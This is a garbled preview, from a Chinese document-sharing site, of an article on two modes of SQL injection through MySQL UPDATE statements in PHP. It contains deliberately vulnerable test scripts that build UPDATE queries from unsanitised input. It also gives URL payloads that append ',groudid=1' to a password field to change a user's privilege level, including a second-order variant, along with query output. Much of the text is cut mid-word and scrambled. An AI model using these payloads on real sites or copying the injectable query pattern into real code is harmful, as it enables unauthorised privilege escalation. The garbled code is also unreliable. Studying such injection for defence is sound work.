update注射(mysql+php)的两个模式

update注射(mysql+php)的两个模式

ID:22675940

大小:61.00 KB

页数:6页

时间:2018-10-30

update注射(mysql+php)的两个模式_第1页
update注射(mysql+php)的两个模式_第2页
update注射(mysql+php)的两个模式_第3页
update注射(mysql+php)的两个模式_第4页
update注射(mysql+php)的两个模式_第5页
资源描述:

《update注射(mysql+php)的两个模式》由会员上传分享,免费在线阅读,更多相关内容在学术论文-天天文库

1、UPDATE注射(mysql+php)的两个模式~教育资源库  一.测试环境:  OS:yISAMDEFAULTCHARSET=latin1;  --  --导出表中的数据`userinfo`  --  INSERTINTO`userinfo`VALUES(2,heige,123456);  ------end-------  三.测试模式:  1,变量没有带或[MOD1]  <?php  //test1.phpMod1  $servername=localhost;  $dbusername=root;  $dbpasse=te

2、st;  mysql_connect($servername,$dbusername,$dbpassysql_db_query($dbname,$sql);  $userinfo=mysql_fetch_array($result);  echo<p>SQLQuery:$sql<p>;  ?>  脚本里只是修改user=heige的pass,如果groudid表示用户的权限等级,我们的目的就是通过构造$p来达  到修改groupid的目的:  那么我们提交:127.0.0.1/test1.php?p=123

3、456,groudid=1  在mysql里查询:mysql>select*fromuserinfo;  +---------+-------+--------+  

4、groudid

5、user 

6、pass 

7、  +---------+-------+--------+  

8、1   

9、heige

10、123456

11、  +---------+-------+--------+  1roe=localhost;  $dbusername=root;  $dbpasse=test;  mysql_connect($servername,$db

12、username,$dbpassword)ordie(数据库连接失败);  $sql=updateuserinfosetpass=$pwhereuser=heige;//<--$P使123下一页友情提醒:,特别!用单引号  $result=mysql_db_query($dbname,$sql);  $userinfo=mysql_fetch_array($result);  echo<p>SQLQuery:$sql<p>;  ?>  为了关闭我们构造$p应该为123456,groudid=2提交: 

13、 127.0.0.1/test2.php?p=123456,groudid=1在gpc=on的情况下变成了  提交的语句变成:SQLQuery:updateuserinfosetpass=123456,groudid=1ysql查询:mysql>select*fromuserinfo;  +---------+-------+--------------------+  

14、groudid

15、user 

16、pass       

17、  +---------+-------+--------------------+  

18、2   

19、h

20、eige

21、123456,groudid=1

22、  +---------+-------+--------------------+  1roe=localhost;  $dbusername=root;  $dbpasse=test;  mysql_connect($servername,$dbusername,$dbpassysql_db_query($dbname,$sql);  mysql_fetch_array($result);  //$p的数据写入数据库  $sql=selectpassfromuserinfoysql_db_

23、query($dbname,$sql);  $userinfo=mysql_fetch_array($result);  echo$userinfo[0]; //把pass查询输出给$userinfo[0]  $sql=updateuserinfosetpass=$userinfo[0]ysql_db_query($dbname,$sql);  mysql_fetch_array($result);//把$userinfo[0]再次update  ?>  我们测试下,提交:127.0.0.1/test3.php?p=123456,

24、groudid=1  回mysql查询下:mysql>select*fromuserinfo;  +---------+-------+--------+  

25、groudid

26、user 

27、pass 

28、

当前文档最多预览五页,下载文档查看全文

此文档下载收益归作者所有

当前文档最多预览五页,下载文档查看全文
温馨提示:
1. 部分包含数学公式或PPT动画的文件,查看预览时可能会显示错乱或异常,文件下载后无此问题,请放心下载。
2. 本文档由用户上传,版权归属用户,天天文库负责整理代发布。如果您对本文档版权有争议请及时联系客服。
3. 下载前请仔细阅读文档内容,确认文档内容符合您的需求后进行下载,若出现内容与标题不符可向本站投诉处理。
4. 下载文档时可能由于网络波动等原因无法下载或下载错误,付费完成后未能成功下载的用户请联系客服处理。